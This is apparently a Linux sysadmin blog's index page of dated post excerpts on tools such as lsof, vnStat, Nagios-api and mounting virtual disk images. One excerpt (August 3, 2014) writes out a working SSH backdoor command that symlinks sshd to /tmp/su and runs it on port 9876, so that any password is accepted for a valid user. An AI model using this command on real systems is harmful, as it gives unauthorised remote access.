on October 30, 2015 ·
Lsof is used to list open files. Lsof follows Unix philosophy closely. It does just one task and it does it perfectly — it lists information about opened files in a running system. An open file can be a regular file, a directory, a block device, a pipe file, a symbolic link, a socket stream, etc.
on February 17, 2015 ·
Pysswords is a python based tool that can be used to manage your passwords in command-line. Its encryption is done with GnuGPG using AES256. You can take a look at pysswords.crypt module to know more.
on August 27, 2014 ·
Debian Squeeze (6.0) is a kind of “Old Stable” branch of Debian, the official support for this version ended in April 2014. Squeeze is still used on many servers, so a group of Debian developers decided to provide security patches for a longer timespan for this release.
on August 3, 2014 ·
This backdoor has been tested on RHEL-5, 6, 7 and Debian 7, both work well. This command will open a SSH port and allow random password for valid user to login.
# ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=9876
Typical authentication log on RHEL-5,
on July 24, 2014 ·
This post shows Linux system administrator one way of how bitcoin miner works on a Linux box, and intends to help sysadmin to detect abnormal processes that running on your servers.
The common bitcoin miner is cgminer, and the latest verion can be found from its official webpage: http://ck.kolivas.org/apps/cgminer/
on July 4, 2014 ·
How can I keep a log of hourly, daily, monthly network traffic for my server as its monthly traffic is limited? vnStat is a tool that designed for this.
vnStat is a console-based network traffic monitor for Linux and BSD that keeps a log of network traffic for the selected interface(s). It uses the [...]
on July 1, 2014 ·
Nagios-api provides a simple REST-like interface to Nagios. Run it on Nagios host and sit back and enjoy a much easier, more straightforward way to accomplish things with Nagios. You can use the bundled nagios-cli, but you may find it easier to write your own application to interface with this API.
on June 28, 2014 ·
One of our FAQ has described how to use cURL with cookies, here we will show how to update Twitter status from command line on Linux or Mac with Bash, this is simpler compared to the Python way using OAuth.
on April 30, 2014 ·
If you have a single partition virtual disk, you can mount the image file directly.
It is a bit more work if you have multiple partitions on the virtual image, as you cannot mount these partition directly. We here have two ways to mount it.
on March 7, 2014 ·
About two years, I migrated from Leaseweb to Linode, and my cost on hosting reduced by 50% that time. Linode is a great hosting provider and I never had even one issue with their service in the two years when I was with them.
They have a very nice control panel, and their help and support articles are [...]